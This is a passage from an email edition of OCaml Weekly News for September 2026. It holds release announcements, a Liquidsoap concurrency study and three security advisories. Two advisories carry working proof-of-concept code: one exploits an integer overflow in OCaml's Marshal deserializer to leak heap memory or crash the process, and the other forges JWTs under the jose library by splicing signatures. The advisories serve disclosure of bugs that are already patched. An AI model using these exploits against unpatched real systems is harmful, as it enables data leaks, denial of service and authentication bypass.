OCaml, dominate so this didn't yield anything too exciting. The situation is also interesting with Liquidsoap because it runs a real-time streaming loop so, all the advantage of multi-core super fast processing are kinda lost since you have to wait sometimes 70% of the time to avoid getting ahead of time.. However, thinking about it more deeply, a good use-case would, in contrast, be a situation where one audio encoding is shared by multiple sources. Audio encoding is already much less compute-heavy and, when shared, concurrency happening at the OCaml level starts being much more relevant. This was confirmed in [a second blog post]. We converted all our clocks (the abstractions responsible for producing content in real-time) from system threads to duppy, domain-backed tasks and.. voila! Finally we were able to see some real benefit: This shows that, with multi core ocaml supporting those audio streams, we're able to double the number of streams a single process can support before being too slow to generate data real time. Another interesting graph is then the number of context switches between threads and domain implementations: Full details: =E2=80=A2 =E2=80=A2 [tame OCaml 5 GC pacing] [here] [first blog post] [lift our scheduler] [for I/O workflows] [a second blog post] OCaml Public Security Meeting =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90 Archive: Hannes Mehnert announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Dear everyone, on Tuesday Sep 15th at 14:00 CEST we have another public security meeting. It will take place at We will introduce ourselves, and are happy to discuss the topics you bring there. Find a preliminary agenda (at the moment it is empty) at See you there, Hannes & the security team dead_code_analyzer 1.2.1 and 1.3.0 =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90 Archive: fantazio announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80 Hello everyone, I am happy to announce [2 releases of the dead_code_analyzer] (available via `opam') : =E2=80=A2 Release [1.2.1] includes a collection of bug fixes and strength= ens semantics. This release is compatible with *OCaml 5.3*. =E2=80=A2 Release [1.3.0] is an update of 1.2.1, which extends the suppor= t to the range *OCaml 4.14 - 5.5*. There are a few known result inconsistencies between OCaml <=3D 5.2 and >=3D 5.3, tracked in [this issue]. They mostly affect the optional arguments sections. Because OCaml 4.14 is supported by this release 1.3.0, the dedicated branch that was [available on my fork] will be deleted. Thanks to David Maison, @sim642, @kit-ty-kate, and @nojb for their contributions, reviews, and feedback. Thanks to [LexiFi] for its funding! If you have used/use the dead_code_analyzer, I would love to hear about your experience and usage. Feel free to post here, send me a DM, or an email at [corentin@fantazio.eu]. It would help prioritize future developments and I might summarise the feedback in an article, a presentation or the documentation. If you encounter any issue with these releases, please [report it on the github repository]. Feedback and contributions are welcome. [2 releases of the dead_code_analyzer] [1.2.1] [1.3.0] [this issue] [available on my fork] [LexiFi] [corentin@fantazio.eu] [report it on the github repository] Old CWN =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90 If you happen to miss a CWN, you can [send me a message] and I'll mail it to you, or go take a look at [the archive] or the [RSS feed of the archives]. If you also wish to receive it every week by mail, you may subscribe to the [caml-list]. [Alan Schmitt] [send me a message] [the archive] [RSS feed of the archives] [caml-list] [Alan Schmitt] --==-=-= Content-Type: text/html; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable OCaml Weekly News

OCaml Weekly News

Previous Week<= /a> Up Next Week

Hello

Here is the latest OCaml Weekly News, for the week of September 08 to 15, 2= 026.

opam 2.6.0~alpha1

Archive: https://discuss.ocaml.org/t/ann-opam-2-6-0-alpha1/18372/5

Continuing this thread, Kate announced

Hi again,

The first release candidate (2.6.0~rc1) is here. If all goes well this shou= ld be the last pre-release before the stable release of 2.6.0. Please tell us if you notice any regression.

Main changes compared to 2.6.0~beta2

:hourglass_done: The main change is another performance regression fix comp= ared to opam 2.5, where packages coming from http repositories (such as the= default opam.ocaml.org) were slower to install due to unnecessary reads of= the repository database (#7131)

:open_book: You can read our blog post for more information about these changes and more, = and for even more details you can take a look at the release note or the changelog.

Try it!

The upgrade instructions are unchanged:

For Unix systems 

bash -c "sh <(curl -fsSL https://opam.ocaml.org/install.sh) --version 2.=
6.0~rc1"

or from PowerShell for Windows systems 

Invoke-Expression "& { $(Invoke-RestMethod https://opam.ocaml.org/insta=
ll.ps1) } -Version 2.6.0~rc1"

Please report any issues to the bug-tracker.

Happy hacking, <> <> The opam team <> <> :camel:

tiny_httpd 0.22

Archive: https://discuss.ocaml.org/t/ann-tiny-httpd-0-22/18520/1

Simon Cruanes announced

Hi, I'm sedately excited to release tiny_httpd 0.22.=20

Tiny_httpd is a HTTP 1.1 server, with basic support for websockets, SSE, an= d pluggable IO/concurrency (as long as it's direct style). The goal is to k= eep it reasonably simple and light on dependencies; despite that it has bee= n working just fine=E2=84=A2 since 2019. This is mostly a bugfix release (I= 'll suggestively wave my eyebrows as for where the bug reports came from).

Owebview 0.1 =E2=80=94 native desktop windows with a web UI, f= rom OCaml

Archive: https://discuss.ocaml.org/t/= ann-owebview-0-1-native-desktop-windows-with-a-web-ui-from-ocaml/18521/1

Korkorran announced

Hi everyone,

I'm happy to announce the first release of Owebview, OCaml bindings to webview. It means an embedded web renderin= g engine in your OCaml apps. It is now available on opam: 

opam install owebview

Owebview opens a native window backed by the operating system's own web eng= ine =E2=80=94 WebKit on macOS, WebKitGTK on Linux, WebView2 on Windows =E2= =80=94 and lets you drive it from OCaml. No Electron, no bundler, no packag= ed browser: a single executable and some HTML.

You can find a blog post about why Owebview is a solution= for your OCaml GUIs.=20

3D"eaa=

An example windows with the three.js library

Native dependencies

The system web engine, and nothing else:

  • macOS =E2=80=94 WebKit / Cocoa, already part of the system. Noth= ing to install.
  • Linux =E2=80=94 gtk+-3.0 and webkit2gtk-4.1, pulled in by the conf-gtk3-webkit opam package (publish= ed alongside this release), so opam install resolves the depex= ts for your distribution.
  • Windows =E2=80=94 the WebView2 runtime ships with Windows 10 and= 11; the SDK headers are located through the NuGet cache at build time (nuget install Microsoft.Web.WebView2).

The webview header itself is vendored, so nothing is fetched at buil= d time, and the platform compile/link flags are detected by a dune-co= nfigurator script.

Examples

The repository ships several runnable examples: 

dune exec examples/hellowv/hellowv.exe          # bindings, assets, Dock ic=
on
dune exec examples/timer/timer_posix.exe        # threads + dispatch
dune exec examples/timer/timer_lwt.exe          # the same, driven by Lwt
dune exec examples/d3/d3.exe                    # a D3.js chart
dune exec examples/three/three.exe              # WebGL via three.js
dune exec examples/js_of_ocaml/hellowv.exe      # frontend written in OCaml=
 too

The last one is worth a look if you like the idea of one language end to en= d: the page's logic is written with Brr and compiled by js_of_ocaml, so both sides of t= he bridge are OCaml.

Tutorial

There is a six-step tutorial that builds up from a first window to a full app= lication: on-disk assets, the JS =E2=86=94 OCaml bridge, an asynchronous ba= ckend with Lwt, a 100% OCaml frontend, and the platform details of applicat= ion icons.

Design notes

This is a thin binding, deliberately. It stays close to the C API an= d leaves higher-level conveniences to the caller =E2=80=94 in particular, b= inding arguments and results are exchanged as JSON text, and choosin= g a JSON library is up to you.

Feedback wanted, especially on Linux

Owebview has been tested on macOS, Windows, Fedora, Ubuntu.=20 Reports about building and running it on others Linux distributions would b= e particularly valuable: does it compile, do the depexts resolve, does the = webkit2gtk-4.1 backend behave as expected on your distro, and = how does the Dock icon story go on your desktop environment? Windows report= s are welcome too.

If you are interested in this library, please email me at my address freder= ic.ln.lang@gmail.com.

Special thanks to @Chimrod for his contribution in this release.

Happy hacking!

OSEC-2026-18: Marshal integer overflow leads to out-of-heap re= ad

Hannes Mehnert announced

Dear everyone,

a new advisory was published for the OCaml runtime. Below is the=20 advisory, you can as well find it at=20 https://github.com= /ocaml/security-advisories and=20 https://osv.dev/= list?q=3D&ecosystem=3Dopam

Best,

Hannes 

id: OSEC-2026-18
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
severity_score: "6.8"
affected: "ocaml" {< "5.5.1"}
events: [
   [
     git "https://github.com/ocaml/ocaml" [
       [fixed "928e7c8a950db8730e8e84105d3be347cae38f5c"]
     ]
   ]
   [
     git "https://github.com/ocaml/ocaml" [
       [fixed "304654884d0c90b2e4ab673ff88caef38b05c714"]
     ]
   ]
   [
     git "https://github.com/ocaml/ocaml" [
       [fixed "428288660cc1f655605347e09e2fbc0b0a404660"]
     ]
   ]
]
credits: [
   [reporter "Akshay M Singh"]
   [remediation_developer "Xavier Leroy"]
   [remediation_reviewer "Nicol=C3=A1s Ojeda B=C3=A4r"]
   [remediation_reviewer "Antonin D=C3=A9cimo"]
   [coordinator "Hannes Mehnert"]
]
cwe: [ CWE-190 CWE-125 ]
aliases: [ CVE-2026-28364 ]
references: [
   [fix "https://github.com/ocaml/ocaml/pull/15019"]
   [fix "https://github.com/ocaml/ocaml/pull/15030"]
]
related: [ OSEC-2026-01 ]

Marshal integer overflow leads to out-of-heap read

An integer overflow in the length-validation logic of OCaml's Marshal=20 deserializer allows a crafted serialized object to bypass all bounds=20 checks added by the CVE-2026-28364 fix, producing heap out-of-bounds= =20 reads from Marshal.from_bytes / Marshal.from_str= ing (and the C API=20 caml_input_value_from_block).

Root cause

runtime/intern.c validates declared data length against the in= put=20 buffer with unsigned 64-bit addition that can wrap: 

/* caml_=
input_val_from_bytes, intern.c:1038 */
if (ofs + h.heade=
r_len + h.data_len > caml_string_length(str))
   caml_failwith("input_val_from_string: ba=
d length");

h.data_len is fully attacker-controlled (8-byte field read str= aight=20 from the stream for Intext_magic_number_big). With data_= len >=3D 2^64 -=20 (ofs + h.header_len), the sum wraps to a small value and the check p= asses.

The CVE-2026-28364 fix introduced: 

/* inter=
n.c:1043 (added by the fix) */
s->intern_src_end =3D s->intern_src + h.data_len;   /* wraps to a pointer 
BEFORE the buffer */

intern_src_end wraps to a location before intern_= src, so every=20 intern_check_read() bound added by the fix (len > end= - src with a=20 negative diff promoted to a huge uintnat) evaluates false for any=20 realistic length. The parser (intern_rec) then honors=20 attacker-controlled read lengths (readblock up to Max_wo= size bytes)=20 against memory far beyond the input buffer.

The OCaml-side wrapper validation in stdlib/marshal.ml is bypa= ssed by=20 the same wrap, via caml_marshal_data_size (intern.c:1116-1150): 

return Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */

Marshal.from_bytes (marshal.ml:55-62) calls data_size_un= safe first,=20 gets a wrapped len (0 or negative), and its re-check ofs= >=20 Bytes.length buff - (header_size + len) passes.

The same unchecked wrap exists in caml_input_value_from_buffer= =20 (intern.c:1080), used by the public C API caml_input_value_from_block= =20 and caml_input_value_from_malloc - these have no OCaml-side va= lidation=20 at all.

Exploit path

  1. Craft 32-byte header: Intext_magic_number_big + 4 padding = bytes +=20 data_len =3D 2^64 - 16 + num_objects =3D 0 + whsize =3D 0.
  2. Append a valid object code byte stream (e.g., a "small string" code=20 0x3F =3D 31 bytes, or CODE_STRING32 with an arbit= rary length).
  3. Call Marshal.from_bytes buf 0 (or Marshal.from_strin= g).
  4. data_size_unsafe returns 0; OCaml-side check passes.
  5. C-side check 0 + 32 + (2^64-16) =3D 16 > len passes (wr= apped).
  6. intern_src_end wraps to buf + 16; all i= ntern_check_read pass.
  7. intern_rec executes readblock(s, dest, len) w= ith attacker-chosen=20 len, memcpy-ing heap memory past the buffer end i= nto the returned=20 string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).

Proof of concept

Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.

  • 1. Heap information disclosure (clean, no cras= h)
    let () =3D
   let buf =3D Bytes.create 40 in
   Bytes.set buf =
0 (Char.chr 0x84)=
; Bytes.set buf 1=
 (Char.chr 0x95);
   Bytes.set buf =
2 (Char.chr 0xa6)=
; Bytes.set buf 3=
 (Char.chr 0xbf);
   for i =3D 4 to 7 do Bytes.set buf i '\000' done;
   for i =3D 8 to 15 do Bytes.set buf i '\xff' done=
;
   Bytes.set buf =
15 (Char.chr 0xf0=
);          (* <=
span style=3D"color: #8f6f4a; font-style: italic;">data_len =3D 2^64 - 16 *)
   for i =3D 16 <=
span style=3D"color: #006f00; font-weight: bold;">to 31 do Bytes.set buf i '\000' done=
;  (* num_objects =3D whsize =3D=
 0 *)
   Bytes.set buf =
32 (Char.chr 0x3f=
);          (* <=
span style=3D"color: #8f6f4a; font-style: italic;">small string, len 31 *)
   for i =3D 33 <=
span style=3D"color: #006f00; font-weight: bold;">to 39 do Bytes.set buf i 'A' done;     (* only 7 real bytes follow *)
   let s : string =3D Marshal.from_bytes buf 0 in
   Printf.printf =
"len=3D%d content=3D%S\n" (String.length s) s

    Output (24 bytes past the 40-byte buffer leaked into the returned string): 

    len=3D31=20
content=3D"AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\00=
0\152\018\001\003\001\000\000\000"
  • 2. Denial of service (crash)

    Same header; stream byte 32 =3D 0x0A (CODE_STRING32), big-endian=20 0x40000000 (1 GB) length, 37-byte buffer: 

    $ ./crash; echo "exit=3D$?"
exit=3D138        (128 + SIGBUS)

Timeline

  • 2026-08-15: report to security@ocaml.org
  • 2026-08-25: patch developed
  • 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches
  • 2026-09-05: release of OCaml 5.5.1
  • 2026-09-10: advisory published

OSEC-2026-19: JOSE missing RSA signature verification

Hannes Mehnert announced

Dear everyone,

a new advisory was published for the jose package. Below is the=20 advisory, you can as well find it at=20 https://github.com= /ocaml/security-advisories and=20 https://osv.dev/= list?q=3D&ecosystem=3Dopam

Best,

Hannes 

id: OSEC-2026-19
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
severity_score: "9.1 (Critical)"
affected: "jose" {< "0.11.0"}
events: [
   [
     git "https://github.com/ulrikstrid/ocaml-jose" [
       [fixed "cf17d991ec6a0d1997956b6c7799890f9c28879e"]
     ]
   ]
]
credits: [
   [reporter "Sergey Zhukaev"]
   [coordinator "Hannes Mehnert"]
   [coordinator "Konstantin Olkhovskiy"]
   [remediation_developer "Ulrik Strid"]
]
cwe: [ CWE-347 ]

JOSE: missing RSA signature verification

The opam package "jose" does not validate any RSA signature. It checks=20 the encoding being PKCS1, but does not verify with the public key.

Reproduction

With jose 0.10.0, the code below signs two tokens with the same key and=20 glues one's payload onto the other's signature: 

let () =3D Mirage_crypto_rng_unix.use_default ()

let key =3D
   Jose.Jwk.make_=
priv_rsa (Mirage_crypto_=
pk.Rsa.generate ~=
bits:2048 ())

let sign sub=
 =3D
   Jose.Jwt.sign =
key ~payload:(`Assoc [ ("sub", `String sub) ])
   |> Result.get_ok Jose.Jwt.=
to_string

let seg n token =3D List.nth (String.split_on_char '.' token) n

let alice =3D sign =
"alice" and admin =3D sign "admin"

(* alice's header and signature, admi=
n's payload *)
let forged =3D String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
   Jose.Jwt.unsaf=
e_of_string forged
   |> Result.get_ok
   |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key)=20
~now:(Ptime_clock.now ())
with
   | Ok t ->
     print_endline
       ("accepted, sub =3D " ^ Option.get (Jose.Jwt.get_string_claim t "su=
b"))
   | Error _ -> print_endline "rejected"

The dune file: 

(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))

This prints "accepted, sub =3D admin".

Workaround

There is no workaround known.

Timeline

  • 2026-08-25: private report via email to the authors of jose
  • 2026-08-25: fix published to repository
  • 2026-08-31: mail escalated to security@ocaml.org
  • 2026-09-04: released jose 0.11.0
  • 2026-09-10: published advisory

OSEC-2026-20: Cstruct indexing bugs can corrupt filtered outpu= t and reverse parsing results

Hannes Mehnert announced

Dear everyone,

a new advisory was published for the cstruct package. Below is the=20 advisory, you can as well find it at=20 https://github.com= /ocaml/security-advisories and=20 https://osv.dev/= list?q=3D&ecosystem=3Dopam

Best,

Hannes 

id: OSEC-2026-20
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
severity_score: "7.3 (High)"
affected: "cstruct" {< "6.3.0"}
events: [
   [
     git "https://github.com/mirage/ocaml-cstruct" [
       [fixed "936f1010d3e9914da9c5c8a4739e9278a37e1c3e"]
     ]
   ]
]
credits: [
   [reporter "Anil Madhavapeddy"]
   [remediation_reviewer "Thomas Gazagnaire"]
   [remediation_developer "Anil Madhavapeddy"]
]
references: [
   [fix "https://github.com/mirage/ocaml-cstruct/pull/324"]
]
cwe: [ CWE-682 ]
affected_bindings: [ "Cstruct.filter_map" "Cstruct.tail" "Cstruct.cuts"=20
"Cstruct.find" "Cstruct.find_rev" ]

Cstruct indexing bugs can corrupt filtered output and= reverse parsing results

Several functions in cstruct may use wrong data, leading to unexpected exce= ptions and return corrupted data.

Impact

  • Cstruct.filter_map writes retained bytes at their original= input positions, producing corrupted output when earlier bytes are dropped= .
  • Cstruct.tail ~rev:true removes two bytes instead of one an= d raises an exception for single-byte views.
  • Cstruct.cuts ~rev:true may compare input against the wrong= data, split at incorrect positions, and construct results using offsets ou= tside the requested view.
  • Cstruct.find and Cstruct.find_sub ~rev:true m= ay return slices from the wrong location when operating on non-zero-offset = views.

These are a set of logical indexing and bounds-calculation errors=20 (CWE-682), and not direct memory-safety vulnerabilities. However,=20 affected operations may return corrupted data, raise an unexpected=20 exception, split input incorrectly, or return bytes outside the=20 requested Cstruct view but still within its backing buffer.

In security-sensitive parsers, this could cause validation bypasses,=20 denial of service, or unintended disclosure of adjacent buffer contents.

Workarounds

Users unable to upgrade cstruct should backport the corresponding source=20 changes. There is no configuration-based mitigation since these are=20 buggy library calls.

Timeline

  • 2026-09-04: reported via GitHub to ocaml/security-advisories repository=
  • 2026-09-05: reported via email to security@ocaml.org
  • 2026-09-05: patch proposed and reviewed
  • 2026-09-05: release cstruct 6.3.0
  • 2026-09-10: published advisory

Dune Package Management Support in VSCode

Archive: https://discuss.ocaml.org/t/update-dune-pack= age-management-support-in-vscode/18523/1

PizieDust announced

We are happy to announce improvements to the OCaml VSCode Extension relatin= g to Dune Package Management (DPM). This update includes several bug fixes = and quality-of-life improvements. In this new update: to activate DPM as a sandbox:

  • First, select "Dune Package Management" from the sandbox list.
  • Then a list of dune binaries installed on your computer is displayed to= you. Once you select a dune binary, DPM becomes activated for your project= .

DPM initializes ocaml-lsp-server for you in the background onc= e it is activated and the extension has helpful suggestions, such as asking= you to "lock" your project if you haven't enabled DPM yet. (Enabling DPM c= an be done either in the dune-workspace file, or by running dune pkg lock). Once both are done, things work nicely.

Notes:

  • Other features supported by opam sandboxes such as listing installed= dependencies, upgrading and uninstalling packages are not yet supported fo= r DPM.
  • If you run dune in watch mode or you run a long-lasting dune command= , then DPM on VSCode will not work reliably as the dune build directory wil= l be locked until the currently running process terminates.

You can see more about the changes we have done on the project board. This work was achieved by Pixie Du= st, Tim=C3=A9o Arnouts, Ulysse Gerard, Sonja Heinze, Shon Feder, Ali Caglayan, and Sudha Parimala.

Liquidsoap 2.5.x: a practical study of OCaml 5.x concurrency

Archive: https://discuss.ocaml.org/t/liqui= dsoap-2-5-x-a-practical-study-of-ocaml-5-x-concurrency/18525/1

Romain Beauxis announced

[Full disclosure: some of the code and content linked below was done with t= he help of automated tools. This post is not.]

After a few years holding off on it, it was finally time to do the migratio= n to OCaml 5 for the liquidsoap project! The excellent work done to tam= e OCaml 5 GC pacing gave us confidence that our memory issues should be= in the past now.

The main motivation, for us, is a rather unconventional (I believe) way to = use effects: to collect globally the result of local operations happening w= hile liquidsoap scripts are executed. This is detailed here.

Once the switch to OCaml 5 was done, it was time to measure the benefits! T= he particular standpoint of liquidsoap is that it does both I/O- and CPU-in= tensive processing: I/O for networking and on-disk operations and CPU for m= edia encoding and decoding. So this was a good opportunity to test both sid= es!

The first blog post has a lot of details on this topic including how we = were finally able to lift our scheduler (named dupp= y) to take full advantage of its event loop. A decade after the initial des= ign (which is very similar to node/libev), it was nice to see it finally be= confirmed for I/O workflows.

For CPU-bound workflow, however, the initial experiments were focused on ve= ry heavy video processing, where media computations, mostly done outside of= OCaml, dominate so this didn't yield anything too exciting.

The situation is also interesting with Liquidsoap because it runs a real-ti= me streaming loop so, all the advantage of multi-core super fast processing= are kinda lost since you have to wait sometimes 70% of the time to avoid g= etting ahead of time..

However, thinking about it more deeply, a good use-case would, in contrast,= be a situation where one audio encoding is shared by multiple sources. Aud= io encoding is already much less compute-heavy and, when shared, concurrenc= y happening at the OCaml level starts being much more relevant.

This was confirmed in a second blog post. We converted all our cloc= ks (the abstractions responsible for producing content in real-time) from s= ystem threads to duppy, domain-backed tasks and.. voila! Finally we were ab= le to see some real benefit:

3D"1fe0adf5c3621b6=

This shows that, with multi core ocaml supporting those audio streams, we'r= e able to double the number of streams a single process can support before = being too slow to generate data real time.

Another interesting graph is then the number of context switches between th= reads and domain implementations:

3D"03da9a5a90d5891=

Full details:

OCaml Public Security Meeting

Archive: https://discuss.ocaml.org/t/ocaml-public-security-meeting/18526= /1

Hannes Mehnert announced

Dear everyone,

on Tuesday Sep 15th at 14:00 CEST we have another public security meeting. = It will take place at https://meet.bornhack.dk/OCamlSecurityPublicMeeting

We will introduce ourselves, and are happy to discuss the topics you bring = there. Find a preliminary agenda (at the moment it is empty) at https://pad.data.coop/9DSTtGN= nQyyehnJY_k-OHA

See you there,

Hannes & the security team

dead_code_analyzer 1.2.1 and 1.3.0

Archive: https://discuss.ocaml.org/t/ann-dead-code-analyzer-1-2= -1-and-1-3-0/18530/1

fantazio announced

Hello everyone,

I am happy to announce 2 releases of the dead_code_analyzer (available via opam) :

  • Release 1.2.1 includes a collection of bug fixes and strengthens s= emantics. This release is compatible with OCaml 5.3.
  • Release 1.3.0 is an update of 1.2.1, which extends the support to = the range OCaml 4.14 - 5.5. There are a few known result inconsisten= cies between OCaml <=3D 5.2 and >=3D 5.3, tracked in this issue. They mo= stly affect the optional arguments sections. Because OCaml 4.14 is supported by this release 1.3.0, the dedicated branch= that was available on my fork will be deleted.

Thanks to David Maison, @sim642, @kit-ty-kate, and @nojb for their contribu= tions, reviews, and feedback. Thanks to LexiFi for its funding!

If you have used/use the dead_code_analyzer, I would love to hear about you= r experience and usage. Feel free to post here, send me a DM, or an email a= t corentin@fantazio.eu. It woul= d help prioritize future developments and I might summarise the feedback in= an article, a presentation or the documentation.

If you encounter any issue with these releases, please report it on the github reposit= ory. Feedback and contributions are welcome.

Old CWN

If you happen to miss a CWN, you can send me a message and I'll mail it to you, or go take a loo= k at the archive or the <= a href=3D"https://alan.petitepomme.net/cwn/cwn.rss">RSS feed of the archive= s.

If you also wish to receive it every week by mail, you may subscribe to the= caml-list.

--==-=-=-- --=-=-=-- --===-=-= Content-Type: application/pgp-signature; name="signature.asc" -----BEGIN PGP SIGNATURE----- iQFvBAEBCABZFiEE6lXof/BsSVW56ZmGBA0KO07S5ccFAmqo/OkbFIAAAAAABAAO bWFudTIsMi41KzEuMTIsMCwzHxxhbGFuLnNjaG1pdHRAcG9seXRlY2huaXF1ZS5v cmcACgkQBA0KO07S5cc+yAf/Vn129CXDoAg5KEMb1bpiBJBPQbBNKkzNjf7Mhbo6 cD0OmZjDOCNmzpL5W89dqehhPDWTkzs+q3s6W50uYqrcIjpAfL5yflkOD7XsR/lE 7byOE7ZQeEoiMgD7PIoG4wAbTPdTkjox39Ke6AoSy33z24mMKabH4oWNFI2dTGRR fUJNA2tjHKgDD5fu+Pfhw3u87XvFgCpRVl4OPSZebfRNXGqu1dySH1fBeXrzBKQp kh8bMXRnWEaeERBSbCbqI+IWHU14D5zK8RnBBG0O4IHrtcK07HXpEY65YFe6zPoF uXY6Vq3aHWMSEdUU/WPkFgBCOoiTBjy9urgEDga1NTjCDQ== =3hBJ -----END PGP SIGNATURE----- --===-=-=--